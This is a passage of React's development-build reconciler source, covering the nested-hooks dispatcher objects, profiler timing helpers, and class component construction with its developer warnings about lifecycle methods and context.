17320 useRef: function (initialValue) {
17321 currentHookNameInDev = 'useRef';
17322 warnInvalidHookAccess();
17323 mountHookTypesDev();
17324 return mountRef(initialValue);
17325 },
17326 useState: function (initialState) {
17327 currentHookNameInDev = 'useState';
17328 warnInvalidHookAccess();
17329 mountHookTypesDev();
17330 var prevDispatcher = ReactCurrentDispatcher$1.current;
17331 ReactCurrentDispatcher$1.current = InvalidNestedHooksDispatcherOnMountInDEV;
17332
17333 try {
17334 return mountState(initialState);
17335 } finally {
17336 ReactCurrentDispatcher$1.current = prevDispatcher;
17337 }
17338 },
17339 useDebugValue: function (value, formatterFn) {
17340 currentHookNameInDev = 'useDebugValue';
17341 warnInvalidHookAccess();
17342 mountHookTypesDev();
17343 return mountDebugValue();
17344 },
17345 useDeferredValue: function (value) {
17346 currentHookNameInDev = 'useDeferredValue';
17347 warnInvalidHookAccess();
17348 mountHookTypesDev();
17349 return mountDeferredValue(value);
17350 },
17351 useTransition: function () {
17352 currentHookNameInDev = 'useTransition';
17353 warnInvalidHookAccess();
17354 mountHookTypesDev();
17355 return mountTransition();
17356 },
17357 useMutableSource: function (source, getSnapshot, subscribe) {
17358 currentHookNameInDev = 'useMutableSource';
17359 warnInvalidHookAccess();
17360 mountHookTypesDev();
17361 return mountMutableSource();
17362 },
17363 useSyncExternalStore: function (subscribe, getSnapshot, getServerSnapshot) {
17364 currentHookNameInDev = 'useSyncExternalStore';
17365 warnInvalidHookAccess();
17366 mountHookTypesDev();
17367 return mountSyncExternalStore(subscribe, getSnapshot, getServerSnapshot);
17368 },
17369 useId: function () {
17370 currentHookNameInDev = 'useId';
17371 warnInvalidHookAccess();
17372 mountHookTypesDev();
17373 return mountId();
17374 },
17375 unstable_isNewReconciler: enableNewReconciler
17376 };
17377
17378 InvalidNestedHooksDispatcherOnUpdateInDEV = {
17379 readContext: function (context) {
17380 warnInvalidContextAccess();
17381 return readContext(context);
17382 },
17383 useCallback: function (callback, deps) {
17384 currentHookNameInDev = 'useCallback';
17385 warnInvalidHookAccess();
17386 updateHookTypesDev();
17387 return updateCallback(callback, deps);
17388 },
17389 useContext: function (context) {
17390 currentHookNameInDev = 'useContext';
17391 warnInvalidHookAccess();
17392 updateHookTypesDev();
17393 return readContext(context);
17394 },
17395 useEffect: function (create, deps) {
17396 currentHookNameInDev = 'useEffect';
17397 warnInvalidHookAccess();
17398 updateHookTypesDev();
17399 return updateEffect(create, deps);
17400 },
17401 useImperativeHandle: function (ref, create, deps) {
17402 currentHookNameInDev = 'useImperativeHandle';
17403 warnInvalidHookAccess();
17404 updateHookTypesDev();
17405 return updateImperativeHandle(ref, create, deps);
17406 },
17407 useInsertionEffect: function (create, deps) {
17408 currentHookNameInDev = 'useInsertionEffect';
17409 warnInvalidHookAccess();
17410 updateHookTypesDev();
17411 return updateInsertionEffect(create, deps);
17412 },
17413 useLayoutEffect: function (create, deps) {
17414 currentHookNameInDev = 'useLayoutEffect';
17415 warnInvalidHookAccess();
17416 updateHookTypesDev();
17417 return updateLayoutEffect(create, deps);
17418 },
17419 useMemo: function (create, deps) {
17420 currentHookNameInDev = 'useMemo';
17421 warnInvalidHookAccess();
17422 updateHookTypesDev();
17423 var prevDispatcher = ReactCurrentDispatcher$1.current;
17424 ReactCurrentDispatcher$1.current = InvalidNestedHooksDispatcherOnUpdateInDEV;
17425
17426 try {
17427 return updateMemo(create, deps);
17428 } finally {
17429 ReactCurrentDispatcher$1.current = prevDispatcher;
17430 }
17431 },
17432 useReducer: function (reducer, initialArg, init) {
17433 currentHookNameInDev = 'useReducer';
17434 warnInvalidHookAccess();
17435 updateHookTypesDev();
17436 var prevDispatcher = ReactCurrentDispatcher$1.current;
17437 ReactCurrentDispatcher$1.current = InvalidNestedHooksDispatcherOnUpdateInDEV;
17438
17439 try {
17440 return updateReducer(reducer, initialArg, init);
17441 } finally {
17442 ReactCurrentDispatcher$1.current = prevDispatcher;
17443 }
17444 },
17445 useRef: function (initialValue) {
17446 currentHookNameInDev = 'useRef';
17447 warnInvalidHookAccess();
17448 updateHookTypesDev();
17449 return updateRef();
17450 },
17451 useState: function (initialState) {
17452 currentHookNameInDev = 'useState';
17453 warnInvalidHookAccess();
17454 updateHookTypesDev();
17455 var prevDispatcher = ReactCurrentDispatcher$1.current;
17456 ReactCurrentDispatcher$1.current = InvalidNestedHooksDispatcherOnUpdateInDEV;
17457
17458 try {
17459 return updateState(initialState);
17460 } finally {
17461 ReactCurrentDispatcher$1.current = prevDispatcher;
17462 }
17463 },
17464 useDebugValue: function (value, formatterFn) {
17465 currentHookNameInDev = 'useDebugValue';
17466 warnInvalidHookAccess();
17467 updateHookTypesDev();
17468 return updateDebugValue();
17469 },
17470 useDeferredValue: function (value) {
17471 currentHookNameInDev = 'useDeferredValue';
17472 warnInvalidHookAccess();
17473 updateHookTypesDev();
17474 return updateDeferredValue(value);
17475 },
17476 useTransition: function () {
17477 currentHookNameInDev = 'useTransition';
17478 warnInvalidHookAccess();
17479 updateHookTypesDev();
17480 return updateTransition();
17481 },
17482 useMutableSource: function (source, getSnapshot, subscribe) {
17483 currentHookNameInDev = 'useMutableSource';
17484 warnInvalidHookAccess();
17485 updateHookTypesDev();
17486 return updateMutableSource();
17487 },
17488 useSyncExternalStore: function (subscribe, getSnapshot, getServerSnapshot) {
17489 currentHookNameInDev = 'useSyncExternalStore';
17490 warnInvalidHookAccess();
17491 updateHookTypesDev();
17492 return updateSyncExternalStore(subscribe, getSnapshot);
17493 },
17494 useId: function () {
17495 currentHookNameInDev = 'useId';
17496 warnInvalidHookAccess();
17497 updateHookTypesDev();
17498 return updateId();
17499 },
17500 unstable_isNewReconciler: enableNewReconciler
17501 };
17502
17503 InvalidNestedHooksDispatcherOnRerenderInDEV = {
17504 readContext: function (context) {
17505 warnInvalidContextAccess();
17506 return readContext(context);
17507 },
17508 useCallback: function (callback, deps) {
17509 currentHookNameInDev = 'useCallback';
17510 warnInvalidHookAccess();
17511 updateHookTypesDev();
17512 return updateCallback(callback, deps);
17513 },
17514 useContext: function (context) {
17515 currentHookNameInDev = 'useContext';
17516 warnInvalidHookAccess();
17517 updateHookTypesDev();
17518 return readContext(context);
17519 },
17520 useEffect: function (create, deps) {
17521 currentHookNameInDev = 'useEffect';
17522 warnInvalidHookAccess();
17523 updateHookTypesDev();
17524 return updateEffect(create, deps);
17525 },
17526 useImperativeHandle: function (ref, create, deps) {
17527 currentHookNameInDev = 'useImperativeHandle';
17528 warnInvalidHookAccess();
17529 updateHookTypesDev();
17530 return updateImperativeHandle(ref, create, deps);
17531 },
17532 useInsertionEffect: function (create, deps) {
17533 currentHookNameInDev = 'useInsertionEffect';
17534 warnInvalidHookAccess();
17535 updateHookTypesDev();
17536 return updateInsertionEffect(create, deps);
17537 },
17538 useLayoutEffect: function (create, deps) {
17539 currentHookNameInDev = 'useLayoutEffect';
17540 warnInvalidHookAccess();
17541 updateHookTypesDev();
17542 return updateLayoutEffect(create, deps);
17543 },
17544 useMemo: function (create, deps) {
17545 currentHookNameInDev = 'useMemo';
17546 warnInvalidHookAccess();
17547 updateHookTypesDev();
17548 var prevDispatcher = ReactCurrentDispatcher$1.current;
17549 ReactCurrentDispatcher$1.current = InvalidNestedHooksDispatcherOnUpdateInDEV;
17550
17551 try {
17552 return updateMemo(create, deps);
17553 } finally {
17554 ReactCurrentDispatcher$1.current = prevDispatcher;
17555 }
17556 },
17557 useReducer: function (reducer, initialArg, init) {
17558 currentHookNameInDev = 'useReducer';
17559 warnInvalidHookAccess();
17560 updateHookTypesDev();
17561 var prevDispatcher = ReactCurrentDispatcher$1.current;
17562 ReactCurrentDispatcher$1.current = InvalidNestedHooksDispatcherOnUpdateInDEV;
17563
17564 try {
17565 return rerenderReducer(reducer, initialArg, init);
17566 } finally {
17567 ReactCurrentDispatcher$1.current = prevDispatcher;
17568 }
17569 },
17570 useRef: function (initialValue) {
17571 currentHookNameInDev = 'useRef';
17572 warnInvalidHookAccess();
17573 updateHookTypesDev();
17574 return updateRef();
17575 },
17576 useState: function (initialState) {
17577 currentHookNameInDev = 'useState';
17578 warnInvalidHookAccess();
17579 updateHookTypesDev();
17580 var prevDispatcher = ReactCurrentDispatcher$1.current;
17581 ReactCurrentDispatcher$1.current = InvalidNestedHooksDispatcherOnUpdateInDEV;
17582
17583 try {
17584 return rerenderState(initialState);
17585 } finally {
17586 ReactCurrentDispatcher$1.current = prevDispatcher;
17587 }
17588 },
17589 useDebugValue: function (value, formatterFn) {
17590 currentHookNameInDev = 'useDebugValue';
17591 warnInvalidHookAccess();
17592 updateHookTypesDev();
17593 return updateDebugValue();
17594 },
17595 useDeferredValue: function (value) {
17596 currentHookNameInDev = 'useDeferredValue';
17597 warnInvalidHookAccess();
17598 updateHookTypesDev();
17599 return rerenderDeferredValue(value);
17600 },
17601 useTransition: function () {
17602 currentHookNameInDev = 'useTransition';
17603 warnInvalidHookAccess();
17604 updateHookTypesDev();
17605 return rerenderTransition();
17606 },
17607 useMutableSource: function (source, getSnapshot, subscribe) {
17608 currentHookNameInDev = 'useMutableSource';
17609 warnInvalidHookAccess();
17610 updateHookTypesDev();
17611 return updateMutableSource();
17612 },
17613 useSyncExternalStore: function (subscribe, getSnapshot, getServerSnapshot) {
17614 currentHookNameInDev = 'useSyncExternalStore';
17615 warnInvalidHookAccess();
17616 updateHookTypesDev();
17617 return updateSyncExternalStore(subscribe, getSnapshot);
17618 },
17619 useId: function () {
17620 currentHookNameInDev = 'useId';
17621 warnInvalidHookAccess();
17622 updateHookTypesDev();
17623 return updateId();
17624 },
17625 unstable_isNewReconciler: enableNewReconciler
17626 };
17627 }
17628
17629 var now$1 = unstable_now;
17630 var commitTime = 0;
17631 var layoutEffectStartTime = -1;
17632 var profilerStartTime = -1;
17633 var passiveEffectStartTime = -1;
17634 /**
17635 * Tracks whether the current update was a nested/cascading update (scheduled from a layout effect).
17636 *
17637 * The overall sequence is:
17638 * 1. render
17639 * 2. commit (and call `onRender`, `onCommit`)
17640 * 3. check for nested updates
17641 * 4. flush passive effects (and call `onPostCommit`)
17642 *
17643 * Nested updates are identified in step 3 above,
17644 * but step 4 still applies to the work that was just committed.
17645 * We use two flags to track nested updates then:
17646 * one tracks whether the upcoming update is a nested update,
17647 * and the other tracks whether the current update was a nested update.
17648 * The first value gets synced to the second at the start of the render phase.
17649 */
17650
17651 var currentUpdateIsNested = false;
17652 var nestedUpdateScheduled = false;
17653
17654 function isCurrentUpdateNested() {
17655 return currentUpdateIsNested;
17656 }
17657
17658 function markNestedUpdateScheduled() {
17659 {
17660 nestedUpdateScheduled = true;
17661 }
17662 }
17663
17664 function resetNestedUpdateFlag() {
17665 {
17666 currentUpdateIsNested = false;
17667 nestedUpdateScheduled = false;
17668 }
17669 }
17670
17671 function syncNestedUpdateFlag() {
17672 {
17673 currentUpdateIsNested = nestedUpdateScheduled;
17674 nestedUpdateScheduled = false;
17675 }
17676 }
17677
17678 function getCommitTime() {
17679 return commitTime;
17680 }
17681
17682 function recordCommitTime() {
17683
17684 commitTime = now$1();
17685 }
17686
17687 function startProfilerTimer(fiber) {
17688
17689 profilerStartTime = now$1();
17690
17691 if (fiber.actualStartTime < 0) {
17692 fiber.actualStartTime = now$1();
17693 }
17694 }
17695
17696 function stopProfilerTimerIfRunning(fiber) {
17697
17698 profilerStartTime = -1;
17699 }
17700
17701 function stopProfilerTimerIfRunningAndRecordDelta(fiber, overrideBaseTime) {
17702
17703 if (profilerStartTime >= 0) {
17704 var elapsedTime = now$1() - profilerStartTime;
17705 fiber.actualDuration += elapsedTime;
17706
17707 if (overrideBaseTime) {
17708 fiber.selfBaseDuration = elapsedTime;
17709 }
17710
17711 profilerStartTime = -1;
17712 }
17713 }
17714
17715 function recordLayoutEffectDuration(fiber) {
17716
17717 if (layoutEffectStartTime >= 0) {
17718 var elapsedTime = now$1() - layoutEffectStartTime;
17719 layoutEffectStartTime = -1; // Store duration on the next nearest Profiler ancestor
17720 // Or the root (for the DevTools Profiler to read)
17721
17722 var parentFiber = fiber.return;
17723
17724 while (parentFiber !== null) {
17725 switch (parentFiber.tag) {
17726 case HostRoot:
17727 var root = parentFiber.stateNode;
17728 root.effectDuration += elapsedTime;
17729 return;
17730
17731 case Profiler:
17732 var parentStateNode = parentFiber.stateNode;
17733 parentStateNode.effectDuration += elapsedTime;
17734 return;
17735 }
17736
17737 parentFiber = parentFiber.return;
17738 }
17739 }
17740 }
17741
17742 function recordPassiveEffectDuration(fiber) {
17743
17744 if (passiveEffectStartTime >= 0) {
17745 var elapsedTime = now$1() - passiveEffectStartTime;
17746 passiveEffectStartTime = -1; // Store duration on the next nearest Profiler ancestor
17747 // Or the root (for the DevTools Profiler to read)
17748
17749 var parentFiber = fiber.return;
17750
17751 while (parentFiber !== null) {
17752 switch (parentFiber.tag) {
17753 case HostRoot:
17754 var root = parentFiber.stateNode;
17755
17756 if (root !== null) {
17757 root.passiveEffectDuration += elapsedTime;
17758 }
17759
17760 return;
17761
17762 case Profiler:
17763 var parentStateNode = parentFiber.stateNode;
17764
17765 if (parentStateNode !== null) {
17766 // Detached fibers have their state node cleared out.
17767 // In this case, the return pointer is also cleared out,
17768 // so we won't be able to report the time spent in this Profiler's subtree.
17769 parentStateNode.passiveEffectDuration += elapsedTime;
17770 }
17771
17772 return;
17773 }
17774
17775 parentFiber = parentFiber.return;
17776 }
17777 }
17778 }
17779
17780 function startLayoutEffectTimer() {
17781
17782 layoutEffectStartTime = now$1();
17783 }
17784
17785 function startPassiveEffectTimer() {
17786
17787 passiveEffectStartTime = now$1();
17788 }
17789
17790 function transferActualDuration(fiber) {
17791 // Transfer time spent rendering these children so we don't lose it
17792 // after we rerender. This is used as a helper in special cases
17793 // where we should count the work of multiple passes.
17794 var child = fiber.child;
17795
17796 while (child) {
17797 fiber.actualDuration += child.actualDuration;
17798 child = child.sibling;
17799 }
17800 }
17801
17802 function resolveDefaultProps(Component, baseProps) {
17803 if (Component && Component.defaultProps) {
17804 // Resolve default props. Taken from ReactElement
17805 var props = assign({}, baseProps);
17806 var defaultProps = Component.defaultProps;
17807
17808 for (var propName in defaultProps) {
17809 if (props[propName] === undefined) {
17810 props[propName] = defaultProps[propName];
17811 }
17812 }
17813
17814 return props;
17815 }
17816
17817 return baseProps;
17818 }
17819
17820 var fakeInternalInstance = {};
17821 var didWarnAboutStateAssignmentForComponent;
17822 var didWarnAboutUninitializedState;
17823 var didWarnAboutGetSnapshotBeforeUpdateWithoutDidUpdate;
17824 var didWarnAboutLegacyLifecyclesAndDerivedState;
17825 var didWarnAboutUndefinedDerivedState;
17826 var warnOnUndefinedDerivedState;
17827 var warnOnInvalidCallback;
17828 var didWarnAboutDirectlyAssigningPropsToState;
17829 var didWarnAboutContextTypeAndContextTypes;
17830 var didWarnAboutInvalidateContextType;
17831 var didWarnAboutLegacyContext$1;
17832
17833 {
17834 didWarnAboutStateAssignmentForComponent = new Set();
17835 didWarnAboutUninitializedState = new Set();
17836 didWarnAboutGetSnapshotBeforeUpdateWithoutDidUpdate = new Set();
17837 didWarnAboutLegacyLifecyclesAndDerivedState = new Set();
17838 didWarnAboutDirectlyAssigningPropsToState = new Set();
17839 didWarnAboutUndefinedDerivedState = new Set();
17840 didWarnAboutContextTypeAndContextTypes = new Set();
17841 didWarnAboutInvalidateContextType = new Set();
17842 didWarnAboutLegacyContext$1 = new Set();
17843 var didWarnOnInvalidCallback = new Set();
17844
17845 warnOnInvalidCallback = function (callback, callerName) {
17846 if (callback === null || typeof callback === 'function') {
17847 return;
17848 }
17849
17850 var key = callerName + '_' + callback;
17851
17852 if (!didWarnOnInvalidCallback.has(key)) {
17853 didWarnOnInvalidCallback.add(key);
17854
17855 error('%s(...): Expected the last optional `callback` argument to be a ' + 'function. Instead received: %s.', callerName, callback);
17856 }
17857 };
17858
17859 warnOnUndefinedDerivedState = function (type, partialState) {
17860 if (partialState === undefined) {
17861 var componentName = getComponentNameFromType(type) || 'Component';
17862
17863 if (!didWarnAboutUndefinedDerivedState.has(componentName)) {
17864 didWarnAboutUndefinedDerivedState.add(componentName);
17865
17866 error('%s.getDerivedStateFromProps(): A valid state object (or null) must be returned. ' + 'You have returned undefined.', componentName);
17867 }
17868 }
17869 }; // This is so gross but it's at least non-critical and can be removed if
17870 // it causes problems. This is meant to give a nicer error message for
17871 // ReactDOM15.unstable_renderSubtreeIntoContainer(reactDOM16Component,
17872 // ...)) which otherwise throws a "_processChildContext is not a function"
17873 // exception.
17874
17875
17876 Object.defineProperty(fakeInternalInstance, '_processChildContext', {
17877 enumerable: false,
17878 value: function () {
17879 throw new Error('_processChildContext is not available in React 16+. This likely ' + 'means you have multiple copies of React and are attempting to nest ' + 'a React 15 tree inside a React 16 tree using ' + "unstable_renderSubtreeIntoContainer, which isn't supported. Try " + 'to make sure you have only one copy of React (and ideally, switch ' + 'to ReactDOM.createPortal).');
17880 }
17881 });
17882 Object.freeze(fakeInternalInstance);
17883 }
17884
17885 function applyDerivedStateFromProps(workInProgress, ctor, getDerivedStateFromProps, nextProps) {
17886 var prevState = workInProgress.memoizedState;
17887 var partialState = getDerivedStateFromProps(nextProps, prevState);
17888
17889 {
17890 if ( workInProgress.mode & StrictLegacyMode) {
17891 setIsStrictModeForDevtools(true);
17892
17893 try {
17894 // Invoke the function an extra time to help detect side-effects.
17895 partialState = getDerivedStateFromProps(nextProps, prevState);
17896 } finally {
17897 setIsStrictModeForDevtools(false);
17898 }
17899 }
17900
17901 warnOnUndefinedDerivedState(ctor, partialState);
17902 } // Merge the partial state and the previous state.
17903
17904
17905 var memoizedState = partialState === null || partialState === undefined ? prevState : assign({}, prevState, partialState);
17906 workInProgress.memoizedState = memoizedState; // Once the update queue is empty, persist the derived state onto the
17907 // base state.
17908
17909 if (workInProgress.lanes === NoLanes) {
17910 // Queue is always non-null for classes
17911 var updateQueue = workInProgress.updateQueue;
17912 updateQueue.baseState = memoizedState;
17913 }
17914 }
17915
17916 var classComponentUpdater = {
17917 isMounted: isMounted,
17918 enqueueSetState: function (inst, payload, callback) {
17919 var fiber = get(inst);
17920 var eventTime = requestEventTime();
17921 var lane = requestUpdateLane(fiber);
17922 var update = createUpdate(eventTime, lane);
17923 update.payload = payload;
17924
17925 if (callback !== undefined && callback !== null) {
17926 {
17927 warnOnInvalidCallback(callback, 'setState');
17928 }
17929
17930 update.callback = callback;
17931 }
17932
17933 var root = enqueueUpdate(fiber, update, lane);
17934
17935 if (root !== null) {
17936 scheduleUpdateOnFiber(root, fiber, lane, eventTime);
17937 entangleTransitions(root, fiber, lane);
17938 }
17939
17940 {
17941 markStateUpdateScheduled(fiber, lane);
17942 }
17943 },
17944 enqueueReplaceState: function (inst, payload, callback) {
17945 var fiber = get(inst);
17946 var eventTime = requestEventTime();
17947 var lane = requestUpdateLane(fiber);
17948 var update = createUpdate(eventTime, lane);
17949 update.tag = ReplaceState;
17950 update.payload = payload;
17951
17952 if (callback !== undefined && callback !== null) {
17953 {
17954 warnOnInvalidCallback(callback, 'replaceState');
17955 }
17956
17957 update.callback = callback;
17958 }
17959
17960 var root = enqueueUpdate(fiber, update, lane);
17961
17962 if (root !== null) {
17963 scheduleUpdateOnFiber(root, fiber, lane, eventTime);
17964 entangleTransitions(root, fiber, lane);
17965 }
17966
17967 {
17968 markStateUpdateScheduled(fiber, lane);
17969 }
17970 },
17971 enqueueForceUpdate: function (inst, callback) {
17972 var fiber = get(inst);
17973 var eventTime = requestEventTime();
17974 var lane = requestUpdateLane(fiber);
17975 var update = createUpdate(eventTime, lane);
17976 update.tag = ForceUpdate;
17977
17978 if (callback !== undefined && callback !== null) {
17979 {
17980 warnOnInvalidCallback(callback, 'forceUpdate');
17981 }
17982
17983 update.callback = callback;
17984 }
17985
17986 var root = enqueueUpdate(fiber, update, lane);
17987
17988 if (root !== null) {
17989 scheduleUpdateOnFiber(root, fiber, lane, eventTime);
17990 entangleTransitions(root, fiber, lane);
17991 }
17992
17993 {
17994 markForceUpdateScheduled(fiber, lane);
17995 }
17996 }
17997 };
17998
17999 function checkShouldComponentUpdate(workInProgress, ctor, oldProps, newProps, oldState, newState, nextContext) {
18000 var instance = workInProgress.stateNode;
18001
18002 if (typeof instance.shouldComponentUpdate === 'function') {
18003 var shouldUpdate = instance.shouldComponentUpdate(newProps, newState, nextContext);
18004
18005 {
18006 if ( workInProgress.mode & StrictLegacyMode) {
18007 setIsStrictModeForDevtools(true);
18008
18009 try {
18010 // Invoke the function an extra time to help detect side-effects.
18011 shouldUpdate = instance.shouldComponentUpdate(newProps, newState, nextContext);
18012 } finally {
18013 setIsStrictModeForDevtools(false);
18014 }
18015 }
18016
18017 if (shouldUpdate === undefined) {
18018 error('%s.shouldComponentUpdate(): Returned undefined instead of a ' + 'boolean value. Make sure to return true or false.', getComponentNameFromType(ctor) || 'Component');
18019 }
18020 }
18021
18022 return shouldUpdate;
18023 }
18024
18025 if (ctor.prototype && ctor.prototype.isPureReactComponent) {
18026 return !shallowEqual(oldProps, newProps) || !shallowEqual(oldState, newState);
18027 }
18028
18029 return true;
18030 }
18031
18032 function checkClassInstance(workInProgress, ctor, newProps) {
18033 var instance = workInProgress.stateNode;
18034
18035 {
18036 var name = getComponentNameFromType(ctor) || 'Component';
18037 var renderPresent = instance.render;
18038
18039 if (!renderPresent) {
18040 if (ctor.prototype && typeof ctor.prototype.render === 'function') {
18041 error('%s(...): No `render` method found on the returned component ' + 'instance: did you accidentally return an object from the constructor?', name);
18042 } else {
18043 error('%s(...): No `render` method found on the returned component ' + 'instance: you may have forgotten to define `render`.', name);
18044 }
18045 }
18046
18047 if (instance.getInitialState && !instance.getInitialState.isReactClassApproved && !instance.state) {
18048 error('getInitialState was defined on %s, a plain JavaScript class. ' + 'This is only supported for classes created using React.createClass. ' + 'Did you mean to define a state property instead?', name);
18049 }
18050
18051 if (instance.getDefaultProps && !instance.getDefaultProps.isReactClassApproved) {
18052 error('getDefaultProps was defined on %s, a plain JavaScript class. ' + 'This is only supported for classes created using React.createClass. ' + 'Use a static property to define defaultProps instead.', name);
18053 }
18054
18055 if (instance.propTypes) {
18056 error('propTypes was defined as an instance property on %s. Use a static ' + 'property to define propTypes instead.', name);
18057 }
18058
18059 if (instance.contextType) {
18060 error('contextType was defined as an instance property on %s. Use a static ' + 'property to define contextType instead.', name);
18061 }
18062
18063 {
18064 if (ctor.childContextTypes && !didWarnAboutLegacyContext$1.has(ctor) && // Strict Mode has its own warning for legacy context, so we can skip
18065 // this one.
18066 (workInProgress.mode & StrictLegacyMode) === NoMode) {
18067 didWarnAboutLegacyContext$1.add(ctor);
18068
18069 error('%s uses the legacy childContextTypes API which is no longer ' + 'supported and will be removed in the next major release. Use ' + 'React.createContext() instead\n\n.' + 'Learn more about this warning here: https://reactjs.org/link/legacy-context', name);
18070 }
18071
18072 if (ctor.contextTypes && !didWarnAboutLegacyContext$1.has(ctor) && // Strict Mode has its own warning for legacy context, so we can skip
18073 // this one.
18074 (workInProgress.mode & StrictLegacyMode) === NoMode) {
18075 didWarnAboutLegacyContext$1.add(ctor);
18076
18077 error('%s uses the legacy contextTypes API which is no longer supported ' + 'and will be removed in the next major release. Use ' + 'React.createContext() with static contextType instead.\n\n' + 'Learn more about this warning here: https://reactjs.org/link/legacy-context', name);
18078 }
18079
18080 if (instance.contextTypes) {
18081 error('contextTypes was defined as an instance property on %s. Use a static ' + 'property to define contextTypes instead.', name);
18082 }
18083
18084 if (ctor.contextType && ctor.contextTypes && !didWarnAboutContextTypeAndContextTypes.has(ctor)) {
18085 didWarnAboutContextTypeAndContextTypes.add(ctor);
18086
18087 error('%s declares both contextTypes and contextType static properties. ' + 'The legacy contextTypes property will be ignored.', name);
18088 }
18089 }
18090
18091 if (typeof instance.componentShouldUpdate === 'function') {
18092 error('%s has a method called ' + 'componentShouldUpdate(). Did you mean shouldComponentUpdate()? ' + 'The name is phrased as a question because the function is ' + 'expected to return a value.', name);
18093 }
18094
18095 if (ctor.prototype && ctor.prototype.isPureReactComponent && typeof instance.shouldComponentUpdate !== 'undefined') {
18096 error('%s has a method called shouldComponentUpdate(). ' + 'shouldComponentUpdate should not be used when extending React.PureComponent. ' + 'Please extend React.Component if shouldComponentUpdate is used.', getComponentNameFromType(ctor) || 'A pure component');
18097 }
18098
18099 if (typeof instance.componentDidUnmount === 'function') {
18100 error('%s has a method called ' + 'componentDidUnmount(). But there is no such lifecycle method. ' + 'Did you mean componentWillUnmount()?', name);
18101 }
18102
18103 if (typeof instance.componentDidReceiveProps === 'function') {
18104 error('%s has a method called ' + 'componentDidReceiveProps(). But there is no such lifecycle method. ' + 'If you meant to update the state in response to changing props, ' + 'use componentWillReceiveProps(). If you meant to fetch data or ' + 'run side-effects or mutations after React has updated the UI, use componentDidUpdate().', name);
18105 }
18106
18107 if (typeof instance.componentWillRecieveProps === 'function') {
18108 error('%s has a method called ' + 'componentWillRecieveProps(). Did you mean componentWillReceiveProps()?', name);
18109 }
18110
18111 if (typeof instance.UNSAFE_componentWillRecieveProps === 'function') {
18112 error('%s has a method called ' + 'UNSAFE_componentWillRecieveProps(). Did you mean UNSAFE_componentWillReceiveProps()?', name);
18113 }
18114
18115 var hasMutatedProps = instance.props !== newProps;
18116
18117 if (instance.props !== undefined && hasMutatedProps) {
18118 error('%s(...): When calling super() in `%s`, make sure to pass ' + "up the same props that your component's constructor was passed.", name, name);
18119 }
18120
18121 if (instance.defaultProps) {
18122 error('Setting defaultProps as an instance property on %s is not supported and will be ignored.' + ' Instead, define defaultProps as a static property on %s.', name, name);
18123 }
18124
18125 if (typeof instance.getSnapshotBeforeUpdate === 'function' && typeof instance.componentDidUpdate !== 'function' && !didWarnAboutGetSnapshotBeforeUpdateWithoutDidUpdate.has(ctor)) {
18126 didWarnAboutGetSnapshotBeforeUpdateWithoutDidUpdate.add(ctor);
18127
18128 error('%s: getSnapshotBeforeUpdate() should be used with componentDidUpdate(). ' + 'This component defines getSnapshotBeforeUpdate() only.', getComponentNameFromType(ctor));
18129 }
18130
18131 if (typeof instance.getDerivedStateFromProps === 'function') {
18132 error('%s: getDerivedStateFromProps() is defined as an instance method ' + 'and will be ignored. Instead, declare it as a static method.', name);
18133 }
18134
18135 if (typeof instance.getDerivedStateFromError === 'function') {
18136 error('%s: getDerivedStateFromError() is defined as an instance method ' + 'and will be ignored. Instead, declare it as a static method.', name);
18137 }
18138
18139 if (typeof ctor.getSnapshotBeforeUpdate === 'function') {
18140 error('%s: getSnapshotBeforeUpdate() is defined as a static method ' + 'and will be ignored. Instead, declare it as an instance method.', name);
18141 }
18142
18143 var _state = instance.state;
18144
18145 if (_state && (typeof _state !== 'object' || isArray(_state))) {
18146 error('%s.state: must be set to an object or null', name);
18147 }
18148
18149 if (typeof instance.getChildContext === 'function' && typeof ctor.childContextTypes !== 'object') {
18150 error('%s.getChildContext(): childContextTypes must be defined in order to ' + 'use getChildContext().', name);
18151 }
18152 }
18153 }
18154
18155 function adoptClassInstance(workInProgress, instance) {
18156 instance.updater = classComponentUpdater;
18157 workInProgress.stateNode = instance; // The instance needs access to the fiber so that it can schedule updates
18158
18159 set(instance, workInProgress);
18160
18161 {
18162 instance._reactInternalInstance = fakeInternalInstance;
18163 }
18164 }
18165
18166 function constructClassInstance(workInProgress, ctor, props) {
18167 var isLegacyContextConsumer = false;
18168 var unmaskedContext = emptyContextObject;
18169 var context = emptyContextObject;
18170 var contextType = ctor.contextType;
18171
18172 {
18173 if ('contextType' in ctor) {
18174 var isValid = // Allow null for conditional declaration
18175 contextType === null || contextType !== undefined && contextType.$$typeof === REACT_CONTEXT_TYPE && contextType._context === undefined; // Not a <Context.Consumer>
18176
18177 if (!isValid && !didWarnAboutInvalidateContextType.has(ctor)) {
18178 didWarnAboutInvalidateContextType.add(ctor);
18179 var addendum = '';
18180
18181 if (contextType === undefined) {
18182 addendum = ' However, it is set to undefined. ' + 'This can be caused by a typo or by mixing up named and default imports. ' + 'This can also happen due to a circular dependency, so ' + 'try moving the createContext() call to a separate file.';
18183 } else if (typeof contextType !== 'object') {
18184 addendum = ' However, it is set to a ' + typeof contextType + '.';
18185 } else if (contextType.$$typeof === REACT_PROVIDER_TYPE) {
18186 addendum = ' Did you accidentally pass the Context.Provider instead?';
18187 } else if (contextType._context !== undefined) {
18188 // <Context.Consumer>
18189 addendum = ' Did you accidentally pass the Context.Consumer instead?';
18190 } else {
18191 addendum = ' However, it is set to an object with keys {' + Object.keys(contextType).join(', ') + '}.';
18192 }
18193
18194 error('%s defines an invalid contextType. ' + 'contextType should point to the Context object returned by React.createContext().%s', getComponentNameFromType(ctor) || 'Component', addendum);
18195 }
18196 }
18197 }
18198
18199 if (typeof contextType === 'object' && contextType !== null) {
18200 context = readContext(contextType);
18201 } else {
18202 unmaskedContext = getUnmaskedContext(workInProgress, ctor, true);
18203 var contextTypes = ctor.contextTypes;
18204 isLegacyContextConsumer = contextTypes !== null && contextTypes !== undefined;
18205 context = isLegacyContextConsumer ? getMaskedContext(workInProgress, unmaskedContext) : emptyContextObject;
18206 }
18207
18208 var instance = new ctor(props, context); // Instantiate twice to help detect side-effects.
18209
18210 {
18211 if ( workInProgress.mode & StrictLegacyMode) {
18212 setIsStrictModeForDevtools(true);
18213
18214 try {
18215 instance = new ctor(props, context); // eslint-disable-line no-new
18216 } finally {
18217 setIsStrictModeForDevtools(false);
18218 }
18219 }
18220 }
18221
18222 var state = workInProgress.memoizedState = instance.state !== null && instance.state !== undefined ? instance.state : null;
18223 adoptClassInstance(workInProgress, instance);
18224
18225 {
18226 if (typeof ctor.getDerivedStateFromProps === 'function' && state === null) {
18227 var componentName = getComponentNameFromType(ctor) || 'Component';
18228
18229 if (!didWarnAboutUninitializedState.has(componentName)) {
